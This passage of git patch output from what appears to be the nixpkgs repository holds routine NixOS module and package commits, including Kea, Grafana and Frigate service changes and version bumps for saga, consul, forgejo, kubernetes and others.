+          users.users.kea = {
+            isSystemUser = true;
+            group = "kea";
+          };
+          users.groups.kea = { };
         }
 
         (lib.mkIf cfg.ctrl-agent.enable {
@@ -312,10 +330,7 @@ in
               "kea-dhcp-ddns-server.service"
             ];
 
-            environment = {
-              KEA_PIDFILE_DIR = "/run/kea";
-              KEA_LOCKFILE_DIR = "/run/kea";
-            };
+            environment = commonEnvironment;
 
             restartTriggers = [
               ctrlAgentConfig
@@ -358,10 +373,7 @@ in
               "multi-user.target"
             ];
 
-            environment = {
-              KEA_PIDFILE_DIR = "/run/kea";
-              KEA_LOCKFILE_DIR = "/run/kea";
-            };
+            environment = commonEnvironment;
 
             restartTriggers = [
               dhcp4Config
@@ -411,10 +423,7 @@ in
               "multi-user.target"
             ];
 
-            environment = {
-              KEA_PIDFILE_DIR = "/run/kea";
-              KEA_LOCKFILE_DIR = "/run/kea";
-            };
+            environment = commonEnvironment;
 
             restartTriggers = [
               dhcp6Config
@@ -460,10 +469,7 @@ in
               "multi-user.target"
             ];
 
-            environment = {
-              KEA_PIDFILE_DIR = "/run/kea";
-              KEA_LOCKFILE_DIR = "/run/kea";
-            };
+            environment = commonEnvironment;
 
             restartTriggers = [
               dhcpDdnsConfig
diff --git a/pkgs/by-name/ke/kea/dont-create-var.patch b/pkgs/by-name/ke/kea/dont-create-var.patch
index 53e05b5b62b8..9b7c451e1878 100644
--- a/pkgs/by-name/ke/kea/dont-create-var.patch
+++ b/pkgs/by-name/ke/kea/dont-create-var.patch
@@ -1,28 +1,34 @@
 diff --git a/Makefile.am b/Makefile.am
-index 10708e7..d4efd73 100644
+index a81f4cc..5d61407 100644
 --- a/Makefile.am
 +++ b/Makefile.am
-@@ -150,13 +150,6 @@ cppcheck:
+@@ -173,18 +173,6 @@ cppcheck:
  docs:
  	$(MAKE) -C doc/sphinx
  
 -
--# These steps are necessary during installation
+-# These steps are necessary during installation. chmod is for reinstallation/upgrade.
 -install-exec-hook:
--	mkdir -p $(DESTDIR)${localstatedir}/log/
--	mkdir -p $(DESTDIR)${localstatedir}/lib/${PACKAGE_NAME}
--	mkdir -p $(DESTDIR)${runstatedir}/${PACKAGE_NAME}
+-	mkdir -m 750 -p "$(DESTDIR)${localstatedir}/lib/${PACKAGE_NAME}"
+-	chmod 750 "$(DESTDIR)${localstatedir}/lib/${PACKAGE_NAME}"
+-	mkdir -m 750 -p "$(DESTDIR)${localstatedir}/log/${PACKAGE_NAME}"
+-	chmod 750 "$(DESTDIR)${localstatedir}/log/${PACKAGE_NAME}"
+-	mkdir -m 750 -p "$(DESTDIR)${runstatedir}/${PACKAGE_NAME}"
+-	chmod 750 "$(DESTDIR)${runstatedir}/${PACKAGE_NAME}"
+-	mkdir -m 750 -p "$(DESTDIR)${sysconfdir}/${PACKAGE_NAME}"
+-	chmod 750 "$(DESTDIR)${sysconfdir}/${PACKAGE_NAME}"
 -
  EXTRA_DIST  = tools/path_replacer.sh
  EXTRA_DIST += tools/mk_cfgrpt.sh
  
 diff --git a/src/lib/dhcpsrv/Makefile.am b/src/lib/dhcpsrv/Makefile.am
-index a0a0289..ba42f8a 100644
+index 7e0f3c4..08c53d8 100644
 --- a/src/lib/dhcpsrv/Makefile.am
 +++ b/src/lib/dhcpsrv/Makefile.am
-@@ -408,5 +408,3 @@ libkea_dhcpsrv_parsers_include_HEADERS = \
+@@ -420,6 +420,3 @@ libkea_dhcpsrv_parsers_include_HEADERS = \
+ 	parsers/shared_networks_list_parser.h \
  	parsers/simple_parser4.h \
  	parsers/simple_parser6.h
- 
+-
 -install-data-local:
 -	$(mkinstalldirs) $(DESTDIR)$(dhcp_data_dir)
diff --git a/pkgs/by-name/ke/kea/package.nix b/pkgs/by-name/ke/kea/package.nix
index 0d93fd43d330..160b22517bca 100644
--- a/pkgs/by-name/ke/kea/package.nix
+++ b/pkgs/by-name/ke/kea/package.nix
@@ -24,11 +24,11 @@
 
 stdenv.mkDerivation rec {
   pname = "kea";
-  version = "2.6.2"; # only even minor versions are stable
+  version = "2.6.3"; # only even minor versions are stable
 
   src = fetchurl {
     url = "https://ftp.isc.org/isc/${pname}/${version}/${pname}-${version}.tar.gz";
-    hash = "sha256-ilC2MQNzS1nDuGGczWdm0t/uPwLjpfnzq8HNVfcPpCQ=";
+    hash = "sha256-ACQaWVX/09IVosCYxFJ/nX9LIDGIsnb5o2JQ3T2d1hI=";
   };
 
   patches = [
@@ -36,9 +36,9 @@ stdenv.mkDerivation rec {
   ];
 
   postPatch = ''
-    substituteInPlace ./src/bin/keactrl/Makefile.am --replace '@sysconfdir@' "$out/etc"
+    substituteInPlace ./src/bin/keactrl/Makefile.am --replace-fail '@sysconfdir@' "$out/etc"
     # darwin special-casing just causes trouble
-    substituteInPlace ./m4macros/ax_crypto.m4 --replace 'apple-darwin' 'nope'
+    substituteInPlace ./m4macros/ax_crypto.m4 --replace-fail 'apple-darwin' 'nope'
   '';
 
   outputs = [

From 8fa81f2c6c210b04decfeec635bf31c9ff4fc376 Mon Sep 17 00:00:00 2001
From: diniamo <diniamo53@gmail.com>
Date: Wed, 23 Oct 2024 14:37:04 +0200
Subject: [PATCH 2892/4511] nixos/grafana: add openFirewall option

(cherry picked from commit 5bb944c6f514d129f0418f7b7073909d2bd93fad)
---
 nixos/modules/services/monitoring/grafana.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/nixos/modules/services/monitoring/grafana.nix b/nixos/modules/services/monitoring/grafana.nix
index 37207474901c..786bad49507f 100644
--- a/nixos/modules/services/monitoring/grafana.nix
+++ b/nixos/modules/services/monitoring/grafana.nix
@@ -430,6 +430,12 @@ in
       type = types.path;
     };
 
+    openFirewall = mkOption {
+      type = types.bool;
+      default = false;
+      description = "Open the ports in the firewall for the server.";
+    };
+
     settings = mkOption {
       description = ''
         Grafana settings. See <https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/>
@@ -2078,6 +2084,8 @@ in
       '';
     };
 
+    networking.firewall.allowedTCPPorts = mkIf cfg.openFirewall [ cfg.settings.server.http_port ];
+
     users.users.grafana = {
       uid = config.ids.uids.grafana;
       description = "Grafana user";

From cda6299e3b7dc710e4abb0ecd202477eea9d5580 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Thu, 26 Jun 2025 10:06:47 -0700
Subject: [PATCH 2893/4511] pixelflasher: 8.0.1.0 -> 8.0.3.1

Diff: https://github.com/badabing2005/PixelFlasher/compare/refs/tags/v8.0.1.0...refs/tags/v8.0.3.1

Changelog: https://github.com/badabing2005/PixelFlasher/releases/tag/v8.0.2.0
           https://github.com/badabing2005/PixelFlasher/releases/tag/v8.0.2.1
           https://github.com/badabing2005/PixelFlasher/releases/tag/v8.0.3.1
(cherry picked from commit 91f1233f54d5ea480bfa7d8e32c92729ec2e4448)
---
 pkgs/by-name/pi/pixelflasher/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pi/pixelflasher/package.nix b/pkgs/by-name/pi/pixelflasher/package.nix
index 71d9e9c4dc6b..c99ce371623b 100644
--- a/pkgs/by-name/pi/pixelflasher/package.nix
+++ b/pkgs/by-name/pi/pixelflasher/package.nix
@@ -10,14 +10,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "pixelflasher";
-  version = "8.0.1.0";
+  version = "8.0.3.1";
   format = "other";
 
   src = fetchFromGitHub {
     owner = "badabing2005";
     repo = "PixelFlasher";
     tag = "v${version}";
-    hash = "sha256-3cIrQ5MbYfWpxFZBJTg0h/Q8PHsWP4KYZvGUnhMEjK4=";
+    hash = "sha256-5Cvwbt5+t0N09gEXvNb79sNIb6oFO+956Dfd5S0R2RU=";
   };
 
   desktopItems = [
@@ -44,7 +44,7 @@ python3Packages.buildPythonApplication rec {
     markdown
     platformdirs
     polib
-    protobuf4
+    protobuf
     psutil
     pyperclip
     requests

From e0adac3c5c12a5783cdd2aea3480356b9f1aca2b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 21 Jul 2025 13:35:14 +0000
Subject: [PATCH 2894/4511] ghost-cli: 1.27.0 -> 1.27.1

(cherry picked from commit 660cb21887ab8cd36f1a7a2b1002a35669c286f4)
---
 pkgs/by-name/gh/ghost-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gh/ghost-cli/package.nix b/pkgs/by-name/gh/ghost-cli/package.nix
index c1845b632b6b..81fa487dea29 100644
--- a/pkgs/by-name/gh/ghost-cli/package.nix
+++ b/pkgs/by-name/gh/ghost-cli/package.nix
@@ -11,18 +11,18 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "ghost-cli";
-  version = "1.27.0";
+  version = "1.27.1";
 
   src = fetchFromGitHub {
     owner = "TryGhost";
     repo = "Ghost-CLI";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-xOchKEktagamLJQONI9SJsv5vypVpBOAy/SWGdSzjLc=";
+    hash = "sha256-ka+fqfUw6SSixrSHV2rbFsAqEM2f/yTQNcGONJKTRMc=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = finalAttrs.src + "/yarn.lock";
-    hash = "sha256-Dgy+Ab0OaapjuuuRMcfHtzpsrfI5uPItXDY4XE9iK3A=";
+    hash = "sha256-SaekfV1QZw6PIJm8GtyjZmCSNIc0aXolz1mEyTwVERM=";
   };
 
   nativeBuildInputs = [

From d3b13a2850981c6b26ae3ea3b54509fc7ddf14f4 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 23 Jul 2025 23:27:46 +0200
Subject: [PATCH 2895/4511] nixos/frigate: don't clear model cache

Upstream stores the model cache in the config directory, which is
unnecessarily messy. The cache directory is still the correct place for
these, since they can be pruned and redownloaded, we just don't want it
to happen on every restart.

Fixes: #427714
(cherry picked from commit cb4fd4e3ca40e1e1f0b90aac2eb7f1eed853f35a)
---
 nixos/modules/services/video/frigate.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/video/frigate.nix b/nixos/modules/services/video/frigate.nix
index f82fb0549ce9..52e7501bbd51 100644
--- a/nixos/modules/services/video/frigate.nix
+++ b/nixos/modules/services/video/frigate.nix
@@ -632,7 +632,8 @@ in
       serviceConfig = {
         ExecStartPre = [
           (pkgs.writeShellScript "frigate-clear-cache" ''
-            rm --recursive --force /var/cache/frigate/*
+            shopt -s extglob
+            rm --recursive --force /var/cache/frigate/!(model_cache)
           '')
           (pkgs.writeShellScript "frigate-create-writable-config" ''
             cp --no-preserve=mode "${format.generate "frigate.yml" filteredConfig}" /run/frigate/frigate.yml

From da40ac7d807ae1b658f6bc545647900f266d9b5a Mon Sep 17 00:00:00 2001
From: Hritwik <hritwiksinghal@protonmail.com>
Date: Thu, 17 Jul 2025 05:03:36 +0530
Subject: [PATCH 2896/4511] filebrowser: 2.36.0 -> 2.40.1

Signed-off-by: Hritwik <hritwiksinghal@protonmail.com>
(cherry picked from commit 9152fde0322fcf9197dee61dea4bc80f257cfb22)
Signed-off-by: Hritwik <hritwiksinghal@protonmail.com>
---
 pkgs/by-name/fi/filebrowser/package.nix | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/fi/filebrowser/package.nix b/pkgs/by-name/fi/filebrowser/package.nix
index 1418c22fce61..ebe3baadea76 100644
--- a/pkgs/by-name/fi/filebrowser/package.nix
+++ b/pkgs/by-name/fi/filebrowser/package.nix
@@ -3,13 +3,12 @@
   stdenv,
   fetchFromGitHub,
   buildGo123Module,
-
   nodejs_22,
   pnpm_9,
 }:
 
 let
-  version = "2.36.0";
+  version = "2.40.1";
 
   pnpm = pnpm_9;
   nodejs = nodejs_22;
@@ -18,7 +17,7 @@ let
     owner = "filebrowser";
     repo = "filebrowser";
     rev = "v${version}";
-    hash = "sha256-t3e4DBxGc3KWeNyqZrQRtySfECc+/lSZJFtOXTUPNk8=";
+    hash = "sha256-UsY5pJU0eVeYQVi7Wqf4RrBfPLQv78zHi96mTLJJS1o=";
   };
 
   frontend = stdenv.mkDerivation (finalAttrs: {
@@ -34,9 +33,9 @@ let
 
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
+      fetcherVersion = 2;
       sourceRoot = "${src.name}/frontend";
-      fetcherVersion = 1;
-      hash = "sha256-vLOtVeGFeHXgQglvKsih4lj1uIs6wipwfo374viIq4I=";
+      hash = "sha256-AwjMQ9LDJ72x5JYdtLF4V3nxJTYiCb8e/RVyK3IwPY4=";
     };
 
     installPhase = ''
@@ -57,7 +56,7 @@ buildGo123Module {
   pname = "filebrowser";
   inherit version src;
 
-  vendorHash = "sha256-u5ybdo4Xe0ZIP90BymsdTxmCjoR4Mki+lYlp1wP+yrU=";
+  vendorHash = "sha256-FY5rPzWAzkrDaFktTM7VxO/hMk17/x21PL1sKq0zlxg=";
 
   excludedPackages = [ "tools" ];
 

From 20eb8b349008411d1670923c769aac20752b900c Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 24 Jul 2025 12:59:31 +0000
Subject: [PATCH 2897/4511] consul: 1.21.2 -> 1.21.3

https://github.com/hashicorp/consul/releases/tag/v1.21.3
(cherry picked from commit b2d4a4f5d60779998a98552dc8e3b03d37952736)
---
 pkgs/by-name/co/consul/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/consul/package.nix b/pkgs/by-name/co/consul/package.nix
index b40bd688b8ff..4ce74f3639c1 100644
--- a/pkgs/by-name/co/consul/package.nix
+++ b/pkgs/by-name/co/consul/package.nix
@@ -8,7 +8,7 @@
 
 buildGoModule rec {
   pname = "consul";
-  version = "1.21.2";
+  version = "1.21.3";
 
   # Note: Currently only release tags are supported, because they have the Consul UI
   # vendored. See
@@ -22,7 +22,7 @@ buildGoModule rec {
     owner = "hashicorp";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-ejslKLoZFxNKQiV9AH+djRIN1lUC4WvUBkaVOENsHwM=";
+    hash = "sha256-mWwDAlHbG0L/9xNAmUxAj2S5dDaWZaah/OWPndBRRWE=";
   };
 
   # This corresponds to paths with package main - normally unneeded but consul
@@ -32,7 +32,7 @@ buildGoModule rec {
     "connect/certgen"
   ];
 
-  vendorHash = "sha256-Bmuc/nNNztd0wZqpLrFv4FZ/1CZ2lN1Bhob+grJJC8w=";
+  vendorHash = "sha256-jb/oUcqMHNBlDgqYNDai2Q9ChA98JGXwFHWNxnrMpaU=";
 
   doCheck = false;
 

From abf57e52904b9323bd9891b6c128e14945e8e844 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Bj=C3=B8rn=20Forsman?= <bjorn.forsman@gmail.com>
Date: Mon, 14 Jul 2025 13:25:10 +0200
Subject: [PATCH 2898/4511] homepage-dashboard: fix enableLocalIcons = true
 build

Fix this build error:

  Running phase: installPhase
  cp: cannot create regular file '/nix/store/pyxl74qanpdplcjqs7r4g2ywlnaa56ms-homepage-dashboard-1.3.2/share/homepage/public/icons/assetgrid.png': Permission denied

While at it, use "cp -r" instead of globs to prevent potential issues
with overlong command lines.

(cherry picked from commit ced555605ff415b3d6a77eb52e8c360c686b6142)
---
 pkgs/by-name/ho/homepage-dashboard/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ho/homepage-dashboard/package.nix b/pkgs/by-name/ho/homepage-dashboard/package.nix
index d40fabfd5e2c..4e202ab82a9c 100644
--- a/pkgs/by-name/ho/homepage-dashboard/package.nix
+++ b/pkgs/by-name/ho/homepage-dashboard/package.nix
@@ -21,8 +21,8 @@ let
 
   installLocalIcons = ''
     mkdir -p $out/share/homepage/public/icons
-    cp ${dashboardIcons}/png/* $out/share/homepage/public/icons
-    cp ${dashboardIcons}/svg/* $out/share/homepage/public/icons
+    cp -r --no-preserve=mode ${dashboardIcons}/png/. $out/share/homepage/public/icons
+    cp -r --no-preserve=mode ${dashboardIcons}/svg/. $out/share/homepage/public/icons
     cp ${dashboardIcons}/LICENSE $out/share/homepage/public/icons/
   '';
 in

From 58f9467253c9cfd66061bc296a384f2d3b7f0fdd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Bj=C3=B8rn=20Forsman?= <bjorn.forsman@gmail.com>
Date: Mon, 14 Jul 2025 14:03:28 +0200
Subject: [PATCH 2899/4511] homepage-dashboard: dashboard-icons: 2025-01-06 ->
 2025-07-11

(cherry picked from commit a1d302abebe6869c06ed14e0543e8029b811787d)
---
 pkgs/by-name/ho/homepage-dashboard/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ho/homepage-dashboard/package.nix b/pkgs/by-name/ho/homepage-dashboard/package.nix
index 4e202ab82a9c..4b4dd6707203 100644
--- a/pkgs/by-name/ho/homepage-dashboard/package.nix
+++ b/pkgs/by-name/ho/homepage-dashboard/package.nix
@@ -15,8 +15,8 @@ let
   dashboardIcons = fetchFromGitHub {
     owner = "homarr-labs";
     repo = "dashboard-icons";
-    rev = "51a2ae7b101c520bcfb5b44e5ddc99e658bc1e21"; # Until 2025-01-06
-    hash = "sha256-rKXeMAhHV0Ax7mVFyn6hIZXm5RFkbGakjugU0DG0jLM=";
+    rev = "f222c55843b888a82e9f2fe2697365841cbe6025"; # Until 2025-07-11
+    hash = "sha256-VOWQh8ZadsqNInoXcRKYuXfWn5MK0qJpuYEWgM7Pny8=";
   };
 
   installLocalIcons = ''

From 216496c7b14e0f09d933cebdf301f4693c577f1a Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 25 Jul 2025 13:23:29 +0000
Subject: [PATCH 2900/4511] forgejo: 12.0.0 -> 12.0.1

https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/12.0.1.md
https://codeberg.org/forgejo/forgejo/releases/tag/v12.0.1
(cherry picked from commit d818d9706cc0d5be0ac34ee02bdac1d0eb05eeb8)
---
 pkgs/by-name/fo/forgejo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/package.nix b/pkgs/by-name/fo/forgejo/package.nix
index bc5b3fae0797..0f52612f16b4 100644
--- a/pkgs/by-name/fo/forgejo/package.nix
+++ b/pkgs/by-name/fo/forgejo/package.nix
@@ -1,6 +1,6 @@
 import ./generic.nix {
-  version = "12.0.0";
-  hash = "sha256-8cokjK9fbxd9lm+5oDoMll9f7ejiVzMNuDgC0Pk1pbM=";
+  version = "12.0.1";
+  hash = "sha256-MBk5QHjnyMXmQDIbMuehjcGN/PUN1ViRtIi1pJGHlW0=";
   npmDepsHash = "sha256-kq2AV1D0xA4Csm8XUTU5D0iCmyuajcnwlLdPjJ/mj1g=";
   vendorHash = "sha256-B9menPCDUOYHPCS0B5KpxuE03FdFXmA8XqkiYEAxs5Y=";
   lts = false;

From abb89e9e9488b0465817d61fd103434d60e54869 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Mon, 14 Jul 2025 13:39:04 +0200
Subject: [PATCH 2901/4511] vesktop: 1.5.7 -> 1.5.8

Closes https://github.com/NixOS/nixpkgs/pull/424828

https://github.com/Vencord/Vesktop/releases/tag/v1.5.8
https://github.com/Vencord/Vesktop/compare/v1.5.7...v1.5.8

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit fd27151c1e098faa7838bd569f6e5b5681b11ccf)
---
 pkgs/by-name/ve/vesktop/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix
index 7a548add72da..ec4a84039dff 100644
--- a/pkgs/by-name/ve/vesktop/package.nix
+++ b/pkgs/by-name/ve/vesktop/package.nix
@@ -24,13 +24,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "vesktop";
-  version = "1.5.7";
+  version = "1.5.8";
 
   src = fetchFromGitHub {
     owner = "Vencord";
     repo = "Vesktop";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-2YVaDfvhmuUx2fVm9PuMPQ3Z5iu7IHJ7dgF52a1stoM=";
+    hash = "sha256-9wYIg1TGcntUMMp6SqYrgDRl3P41eeOqt76OMjSAi5M=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
@@ -40,8 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    fetcherVersion = 1;
-    hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
+    fetcherVersion = 2;
+    hash = "sha256-rJzXbIQUxCImTqeH8EsGiyGNGoHYUqoekoa+VXpob5Y=";
   };
 
   nativeBuildInputs =

From adeef382519393187489e8858ce8bf115c28a971 Mon Sep 17 00:00:00 2001
From: Nikolay Korotkiy <sikmir@disroot.org>
Date: Sun, 29 Jun 2025 00:30:16 +0400
Subject: [PATCH 2902/4511] =?UTF-8?q?saga:=209.7.2=20=E2=86=92=209.8.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 08ad72526a75bab8020a59df7d34e06a82a07191)
---
 pkgs/by-name/sa/saga/darwin-patch-1.patch | 30 -----------------------
 pkgs/by-name/sa/saga/darwin-patch-2.patch | 24 ------------------
 pkgs/by-name/sa/saga/package.nix          | 12 ++-------
 3 files changed, 2 insertions(+), 64 deletions(-)
 delete mode 100644 pkgs/by-name/sa/saga/darwin-patch-1.patch
 delete mode 100644 pkgs/by-name/sa/saga/darwin-patch-2.patch

diff --git a/pkgs/by-name/sa/saga/darwin-patch-1.patch b/pkgs/by-name/sa/saga/darwin-patch-1.patch
deleted file mode 100644
index 224a66204aca..000000000000
--- a/pkgs/by-name/sa/saga/darwin-patch-1.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-commit 3bbd15676dfc077d7836e9d51810c1d6731f5789
-Author: Palmer Cox <p@lmercox.com>
-Date:   Sun Feb 23 16:41:18 2025 -0500
-
-    Fix copy/paste error in FindPostgres.cmake
-    
-    In f51c6b1513e312002c108fe87d26e33c48671406, EXEC_PROGRAM was changed to
-    execute_process. As part of that, it looks like the second and third
-    invocations were accidentally changed.
-
-diff --git a/saga-gis/cmake/modules/FindPostgres.cmake b/saga-gis/cmake/modules/FindPostgres.cmake
-index f22806fd9..a4b6ec9ac 100644
---- a/cmake/modules/FindPostgres.cmake
-+++ b/cmake/modules/FindPostgres.cmake
-@@ -77,13 +77,13 @@ ELSE(WIN32)
-       SET(POSTGRES_INCLUDE_DIR ${PG_TMP} CACHE STRING INTERNAL)
- 
-       # set LIBRARY_DIR
--      execute_process(COMMAND ${POSTGRES_CONFIG} --includedir
-+      execute_process(COMMAND ${POSTGRES_CONFIG} --libdir
-         OUTPUT_VARIABLE PG_TMP
-         OUTPUT_STRIP_TRAILING_WHITESPACE)
-       IF (APPLE)
-         SET(POSTGRES_LIBRARY ${PG_TMP}/libpq.dylib CACHE STRING INTERNAL)
-       ELSEIF (CYGWIN)
--        execute_process(COMMAND ${POSTGRES_CONFIG} --includedir
-+        execute_process(COMMAND ${POSTGRES_CONFIG} --libs
-           OUTPUT_VARIABLE PG_TMP
-           OUTPUT_STRIP_TRAILING_WHITESPACE)
- 
diff --git a/pkgs/by-name/sa/saga/darwin-patch-2.patch b/pkgs/by-name/sa/saga/darwin-patch-2.patch
deleted file mode 100644
index af601923d6ef..000000000000
--- a/pkgs/by-name/sa/saga/darwin-patch-2.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-commit eb69f594ec439309432e87834bead5276b7dbc9b
-Author: Palmer Cox <p@lmercox.com>
-Date:   Sun Feb 23 16:45:34 2025 -0500
-
-    On Apple, use FIND_LIBRARY to locate libpq
-    
-    I think FIND_LIBRARY() is better than just relying on what pg_config
-    said its libdir was, since, depending on how libpq was installed, it may
-    or may not be in that directory. If its not, FIND_LIBRARY() is able to
-    find it in other locations.
-
-diff --git a/saga-gis/cmake/modules/FindPostgres.cmake b/saga-gis/cmake/modules/FindPostgres.cmake
-index a4b6ec9ac..65e7ac69b 100644
---- a/cmake/modules/FindPostgres.cmake
-+++ b/cmake/modules/FindPostgres.cmake
-@@ -81,7 +81,7 @@ ELSE(WIN32)
-         OUTPUT_VARIABLE PG_TMP
-         OUTPUT_STRIP_TRAILING_WHITESPACE)
-       IF (APPLE)
--        SET(POSTGRES_LIBRARY ${PG_TMP}/libpq.dylib CACHE STRING INTERNAL)
-+        FIND_LIBRARY(POSTGRES_LIBRARY NAMES pq libpq PATHS ${PG_TMP})
-       ELSEIF (CYGWIN)
-         execute_process(COMMAND ${POSTGRES_CONFIG} --libs
-           OUTPUT_VARIABLE PG_TMP
diff --git a/pkgs/by-name/sa/saga/package.nix b/pkgs/by-name/sa/saga/package.nix
index 57c69e69bce7..08c851ce2698 100644
--- a/pkgs/by-name/sa/saga/package.nix
+++ b/pkgs/by-name/sa/saga/package.nix
@@ -33,23 +33,15 @@
 
 stdenv.mkDerivation rec {
   pname = "saga";
-  version = "9.7.2";
+  version = "9.8.1";
 
   src = fetchurl {
     url = "mirror://sourceforge/saga-gis/saga-${version}.tar.gz";
-    hash = "sha256-1nWpFGRBS49uzKl7m/4YWFI+3lvm2zKByYpR9llxsgY=";
+    hash = "sha256-NCNeTxR4eWMJ3OHcBEQ2MZky9XiEExPscGhriDvXYf8=";
   };
 
   sourceRoot = "saga-${version}/saga-gis";
 
-  patches = [
-    # Patches from https://sourceforge.net/p/saga-gis/code/merge-requests/38/.
-    # These are needed to fix building on Darwin (technically the first is not
-    # required, but the second doesn't apply without it).
-    ./darwin-patch-1.patch
-    ./darwin-patch-2.patch
-  ];
-
   nativeBuildInputs = [
     cmake
     wrapGAppsHook3

From b4a449fda1889a00aa2f4514dc4a8a32cddd5b70 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 02:02:53 +0000
Subject: [PATCH 2903/4511] saga: 9.8.1 -> 9.9.0

(cherry picked from commit 5fd3562b76d033ef94de89e0a017cfa530e28646)
---
 pkgs/by-name/sa/saga/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/saga/package.nix b/pkgs/by-name/sa/saga/package.nix
index 08c851ce2698..aa4f640b70cc 100644
--- a/pkgs/by-name/sa/saga/package.nix
+++ b/pkgs/by-name/sa/saga/package.nix
@@ -33,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "saga";
-  version = "9.8.1";
+  version = "9.9.0";
 
   src = fetchurl {
     url = "mirror://sourceforge/saga-gis/saga-${version}.tar.gz";
-    hash = "sha256-NCNeTxR4eWMJ3OHcBEQ2MZky9XiEExPscGhriDvXYf8=";
+    hash = "sha256-xS9h8QGm6PH8rx0qXmvolDpH9fy8ma7HlBVbQo5pX4Q=";
   };
 
   sourceRoot = "saga-${version}/saga-gis";

From 17a789f0473e922646724ef15855386838ea6870 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 12:51:25 +0000
Subject: [PATCH 2904/4511] saga: 9.9.0 -> 9.9.1

(cherry picked from commit fd46b00d17d25e9859f7c8e1c1ff2c2f6b419c21)
---
 pkgs/by-name/sa/saga/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/saga/package.nix b/pkgs/by-name/sa/saga/package.nix
index aa4f640b70cc..def9550110b1 100644
--- a/pkgs/by-name/sa/saga/package.nix
+++ b/pkgs/by-name/sa/saga/package.nix
@@ -33,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "saga";
-  version = "9.9.0";
+  version = "9.9.1";
 
   src = fetchurl {
     url = "mirror://sourceforge/saga-gis/saga-${version}.tar.gz";
-    hash = "sha256-xS9h8QGm6PH8rx0qXmvolDpH9fy8ma7HlBVbQo5pX4Q=";
+    hash = "sha256-InypyVCk08tsByKaIBRFWldwRz1AkNCgFD3DL4OG84w=";
   };
 
   sourceRoot = "saga-${version}/saga-gis";

From 625d7a4f962e51de684f5362a3c1f6db712912db Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 16 May 2025 12:51:09 +0000
Subject: [PATCH 2905/4511] kubernetes: 1.33.0 -> 1.33.1

(cherry picked from commit b7a478c8eda2ccaa2cc64bd4f3f2a0f666cec71c)
---
 pkgs/applications/networking/cluster/kubernetes/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/cluster/kubernetes/default.nix b/pkgs/applications/networking/cluster/kubernetes/default.nix
index caa36547429c..982eb15fcecb 100644
--- a/pkgs/applications/networking/cluster/kubernetes/default.nix
+++ b/pkgs/applications/networking/cluster/kubernetes/default.nix
@@ -22,13 +22,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "kubernetes";
-  version = "1.33.0";
+  version = "1.33.1";
 
   src = fetchFromGitHub {
     owner = "kubernetes";
     repo = "kubernetes";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5MlMBsYf8V7BvV6xaeRMVSRaE+TpG8xJkMwVGm/fVdo=";
+    hash = "sha256-fPKLe1P2jsu6pOTqofFrk1048kPOx/mmXYm7/tBzM84=";
   };
 
   vendorHash = null;

From 46444338ac14ccbace9ec46cdf10b56e19ac0b78 Mon Sep 17 00:00:00 2001
